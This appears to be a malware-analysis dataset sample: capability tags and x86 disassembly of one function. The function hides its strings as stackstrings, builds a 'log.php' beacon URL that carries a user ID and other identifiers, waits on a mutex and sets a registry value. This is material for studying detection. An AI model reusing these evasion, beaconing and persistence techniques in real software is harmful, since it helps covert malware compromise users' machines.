Function at 0x499ee0
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a2131
mov eax, dword fs:[0]
push eax
sub esp, 0x400
mov eax, dword [0x4bf070]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x3d7], dl
mov dword [ebp - 4], 4
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x9e], 0x642e3233
push eax
mov word [ebp - 0xa3], 0x7265
mov word [ebp - 0x99], 0x6c
mov word [ebp - 0xa0], 0x6c65
mov byte [ebp - 0xa1], 0x6e
mov byte [ebp - 0xa4], 0x6b
mov byte [ebp - 0x9a], 0x6c
mov dword [ebp - 0xb2], 0x754d6e65
mov dword [ebp - 0xad], 0x417865
mov byte [ebp - 0xae], 0x74
mov word [ebp - 0xb4], 0x704f
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3ec], eax
test eax, eax
je 0x49a6ad
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0
call fcn.0040c650
mov byte [ebp - 4], 5
lea eax, [ebp - 0x70]
push dword [ebp + 0xc]
mov word [ebp - 0x65], 0x253d
push dword [ebp + 8]
mov dword [ebp - 0x5a], 0x3d646975
push dword [ebp + 0x14]
mov dword [ebp - 0x51], 0x73253d
push dword [ebp + 0x10]
mov dword [ebp - 0x62], 0x3d632d20
push eax
lea eax, [ebp - 0xdc]
mov dword [ebp - 0x5e], 0x2d207325
push eax
mov dword [ebp - 0x70], 0x2073682d
mov dword [ebp - 0x56], 0x2d207325
mov dword [ebp - 0x6a], 0x69632d20
mov byte [ebp - 0x63], 0x73
mov word [ebp - 0x6c], 0x732d
mov byte [ebp - 0x52], 0x67
mov byte [ebp - 0x66], 0x64
call fcn.0040ae40
add esp, 0x18
mov dword [ebp - 0xf0], 0
lea ecx, [ebp - 0xf0]
push 0x4b7de4
call fcn.0040bf20
xor ebx, ebx
mov byte [ebp - 4], 6
mov esi, dword [ebp - 0xdc]
mov dword [ebp - 0x3e8], ebx
nop
push 1
call fcn.0041e70e
add esp, 4
mov dword [ebp - 0x3d4], eax
mov dword [ebp - 0x3d0], 0
call fcn.0040c560
test eax, eax
je 0x49a8e4
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
cmp ecx, vtable.ATL::CAtlStringMgr.0
jne 0x49a08d
lock inc dword [eax + 0x14]
add eax, 8
jmp 0x49a091
mov ecx, eax
call edx
add eax, 0x10
mov dword [ebp - 0xe0], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x23], 0x736e6574
mov word [ebp - 0x3f], 0x2f73
mov word [ebp - 0x45], 0x7370
mov word [ebp - 0x42], 0x2f2f
mov dword [ebp - 0x27], 0x78652631
mov dword [ebp - 0x37], 0x69753f70
mov dword [ebp - 0x33], 0x73253d64
mov dword [ebp - 0x3d], 0x2e676f6c
mov word [ebp - 0x39], 0x6870
mov dword [ebp - 0x2f], 0x253d6d26
mov dword [ebp - 0x1f], 0x3d6e6f69
mov dword [ebp - 0x2b], 0x3d702673
mov word [ebp - 0x1b], 0x6425
mov byte [ebp - 0x19], 0
mov word [ebp - 0x48], 0x7468
mov byte [ebp - 0x43], 0x3a
mov byte [ebp - 0x40], 0x25
mov byte [ebp - 0x46], 0x74
call fcn.004058b0
xor ecx, ecx
mov byte [ebp - 4], 8
cmp byte [ebp - 0x3d7], cl
setne cl
push ecx
push str.bc518bf45fde40a7b69e75d9e2c385eb
push dword [ebp + 8]
push dword [eax]
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0xe0]
push eax
call fcn.0040ae40
add esp, 0x18
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x3f4]
call fcn.0040c260
cmp ebx, 3
jl 0x49a19d
lea eax, [ebp - 0xd8]
mov dword [ebp - 0xcc], 0x2e676f6c
push eax
lea eax, [ebp - 0xcc]
mov dword [ebp - 0xc8], 0x706870
push eax
lea ecx, [ebp - 0xe0]
mov word [ebp - 0xd8], 0x676c
mov dword [ebp - 0xd5], 0x706870
mov byte [ebp - 0xd6], 0x2e
call fcn.00408f10
mov ecx, dword [ebp - 0xe0]
lea ecx, [ecx - 0x10]
call fcn.0040bfe0
add eax, 0x10
mov dword [ebp - 0xe4], eax
mov byte [ebp - 4], 9
mov dword [ebp - 0xbc], 0x64253d65
mov dword [ebp - 0xc0], 0x6d697426
mov byte [ebp - 0xb8], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.0040bb80
add esp, 8
mov edi, esp
mov dword [ebp - 0x3e4], edi
mov ecx, dword [ebp - 0xe4]
lea ecx, [ecx - 0x10]
call fcn.0040bfe0
add eax, 0x10
lea ecx, [ebp - 0x3d4]
mov dword [edi], eax
call fcn.00499dc0
add esp, 4
test al, al
je 0x49a5a5
cmp dword [ebp - 0x3d0], 0x100000
jb 0x49a681
lea ecx, [ebp - 0x3cc]
call section..n83bfi
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x40c]
mov byte [ebp - 0x3cc], 0
mov word [ebp - 0x81], 0x6165
mov dword [ebp - 0x8c], 0x37366233
mov dword [ebp - 0x7f], 0x32366266
mov dword [ebp - 0x88], 0x64626165
mov dword [ebp - 0x94], 0x34326436
mov dword [ebp - 0x7a], 0x66373633
mov word [ebp - 0x75], 0x34
mov dword [ebp - 0x90], 0x39326366
mov byte [ebp - 0x7b], 0x64
mov word [ebp - 0x84], 0x6239
mov byte [ebp - 0x76], 0x33
mov byte [ebp - 0x82], 0x32
call fcn.00405200
sub esp, 0x18
mov byte [ebp - 4], 0xb
mov ecx, esp
push 0x4b7de4
call fcn.00405200
lea eax, [ebp - 0x40c]
push eax
lea ecx, [ebp - 0x3cc]
call section..fx6th1
lea ecx, [ebp - 0x40c]
mov byte [ebp - 4], 0xa
call fcn.00405260
push dword [ebp - 0x3d0]
call fcn.00415c5b
add esp, 4
mov dword [ebp - 0x3e0], 0
mov edi, eax
lea ecx, [ebp - 0x3cc]
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x3dc], edi
push eax
push edi
push dword [ebp - 0x3d0]
push dword [ebp - 0x3d4]
call fcn.00492100
push dword [ebp - 0x3d4]
mov bl, al
call fcn.0041e2fb
add esp, 4
test bl, bl
jne 0x49a376
push edi
call fcn.004157b2
add esp, 4
lea ecx, [ebp - 0x3cc]
call fcn.00407ee0
lea ecx, [ebp - 0xe4]
call fcn.0040c260
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 6
call fcn.0040c260
mov ebx, dword [ebp - 0x3e8]
jmp 0x49a5d8
mov edi, dword [ebp - 0x3e0]
push edi
call fcn.00415c5b
add esp, 4
mov dword [ebp - 0x3e0], eax
push edi
mov edi, dword [ebp - 0x3dc]
push edi
push eax
call fcn.00417b30
add esp, 0xc
push edi
call fcn.004157b2
add esp, 4
mov dword [ebp - 0xec], 0
lea ecx, [ebp - 0xec]
call fcn.0049c7a0
mov edx, 0x4b7ef8
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0xec]
call fcn.004088f0
movzx ebx, al
neg ebx
mov byte [ebp - 0x3d6], 0
sbb ebx, ebx
and ebx, 0xa
xor edi, edi
mov dword [ebp - 0x3dc], edi
nop word [eax + eax]
push 0x4b7de4
lea ecx, [ebp - 0xf0]
call fcn.0040bee0
push 0x4b7de4
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xe8], 0
call fcn.0040bf20
mov byte [ebp - 4], 0xd
mov ecx, 1
mov eax, dword [esi - 8]
sub ecx, dword [esi - 4]
sub eax, 0x104
cmp ebx, 0xa
jge 0x49a465
or eax, ecx
jge 0x49a44d
push 0x104
lea ecx, [ebp - 0xdc]
call fcn.0040c200
mov esi, dword [ebp - 0xdc]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x3e0]
push 1
push 0
sub esp, 8
push esi
call fcn.00498e20
jmp 0x49a495
or eax, ecx
jge 0x49a47f
push 0x104
lea ecx, [ebp - 0xdc]
call fcn.0040c200
mov esi, dword [ebp - 0xdc]
mov edx, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x3e0]
push 1
push 0
sub esp, 8
push esi
call fcn.004995c0
mov byte [ebp - 0x3d5], al
add esp, 0x14
lea eax, [ebx + 1]
xor ebx, ebx
cmp eax, 0x14
cmovl ebx, eax
push ecx
lea ecx, [ebp - 0xdc]
mov dword [ebp - 0x3e4], ebx
call fcn.00409300
cmp byte [ebp - 0x3d5], 0
jne 0x49a4e0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 0xc
call fcn.0040c260
jmp 0x49a541
xor edi, edi
lea ecx, [ebp - 0x3f0]
call fcn.004060e0
mov byte [ebp - 4], 0xe
push dword [eax]
push 0
push 0x100000
call dword [ebp - 0x3ec]
lea ecx, [ebp - 0x3f0]
mov byte [ebp - 4], 0xd
mov ebx, eax
call fcn.0040c260
test ebx, ebx
jne 0x49a553
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0x49a4e2
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 0xc
call fcn.0040c260
mov ebx, dword [ebp - 0x3e4]
mov edi, dword [ebp - 0x3dc]
inc edi
mov dword [ebp - 0x3dc], edi
cmp edi, 0x14
jl 0x49a3f0
jmp 0x49a56c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0xe8]
mov byte [ebp - 0x3d6], 1
call fcn.0040c260
push dword [ebp - 0x3e0]
call fcn.004157b2
add esp, 4
lea ecx, [ebp - 0xec]
call fcn.0040c260
lea ecx, [ebp - 0x3cc]
call fcn.00407ee0
cmp byte [ebp - 0x3d6], 0
jne 0x49a662
mov ebx, dword [ebp - 0x3e8]
jmp 0x49a5b3
push dword [ebp - 0x3d4]
call fcn.0041e2fb
add esp, 4
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xe4]
call fcn.0040c260
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 6
call fcn.0040c260
inc ebx
mov dword [ebp - 0x3e8], ebx
cmp ebx, 6
jl 0x49a050
mov esi, dword [ebp - 0x3ec]
xor edi, edi
or ebx, 0xffffffff
lea ecx, [ebp - 0x3e4]
call fcn.004060e0
mov byte [ebp - 4], 0xf
push dword [eax]
push 0
push 0x100000
call esi
mov byte [ebp - 4], 6
mov ecx, ebx
mov edx, dword [ebp - 0x3e4]
mov dword [ebp - 0x3dc], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x49a6ff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
mov esi, dword [eax + 4]
mov dword [ebp - 0x3f0], esi
mov esi, dword [ebp - 0x3ec]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a6f3
mov eax, dword [ecx + 4]
push 0
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x49a6f9
lea ecx, [ebp - 0xe4]
call fcn.0040c260
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 6
call fcn.0040c260
jmp 0x49a5e8
lea ecx, [ebp - 0xe4]
call fcn.0040c260
lea ecx, [ebp - 0xe0]
call fcn.0040c260
lea ecx, [ebp - 0xf0]
call fcn.0040c260
lea ecx, [ebp - 0xdc]
call fcn.0040c260
lea ecx, [ebp + 8]
call fcn.0040c260
lea ecx, [ebp + 0xc]
call fcn.0040c260
lea ecx, [ebp + 0x10]
call fcn.0040c260
lea ecx, [ebp + 0x14]
call fcn.0040c260
lea ecx, [ebp + 0x18]
call fcn.0040c260
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0041553e
mov esp, ebp
pop ebp
ret
call dword [ebp - 0x3f0]
mov eax, dword [ebp - 0x3dc]
test eax, eax
je 0x49a722
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfa
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xf0
jl 0x49a5f3
call fcn.00495fb0
push 0
call fcn.0041aef4
add esp, 4
mov dword [0x4cc764], eax
push 4
push 0x4cc764
push 4
push 0x4b7efc
push 0x4cc778
push reloc.WS2_32.dll_bind
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov byte [ebp - 4], 5
mov eax, ebx
mov ecx, dword [ebp - 0xf0]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
mov esi, dword [ebp - 0xdc]
test eax, eax
jg 0x49a798
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov edi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a794
mov eax, dword [edx + 4]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push dword [eax + 4]
call edi
jmp 0x49a79e
mov ecx, edx
call edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [ebp - 4], 4
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x49a7ce
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
mov edx, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a7cc
mov eax, dword [ecx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a7ce
call edx
mov byte [ebp - 4], 3
mov eax, ebx
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x49a803
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a7ff
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a803
mov ecx, edx
call esi
mov byte [ebp - 4], 2
mov eax, ebx
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x49a838
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a834
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a838
mov ecx, edx
call esi
mov byte [ebp - 4], 1
mov eax, ebx
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x49a86d
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a869
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a86d
mov ecx, edx
call esi
mov byte [ebp - 4], 0
mov eax, ebx
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x49a8a2
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a89e
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a8a2
mov ecx, edx
call esi
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 0x18]
lea ecx, [eax - 0x10]
lock xadd dword [ecx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x49a6d5
mov edx, dword [ecx]
push ecx
mov eax, dword [edx]
mov esi, dword [eax + 4]
cmp eax, vtable.ATL::CAtlStringMgr.0
jne 0x49a8db
mov eax, dword [edx + 4]
push 0
push dword [eax + 4]
call edi
jmp 0x49a6d5
mov ecx, edx
call esi
jmp 0x49a6d5
push 0x80004005
call fcn.0040c2a0
int3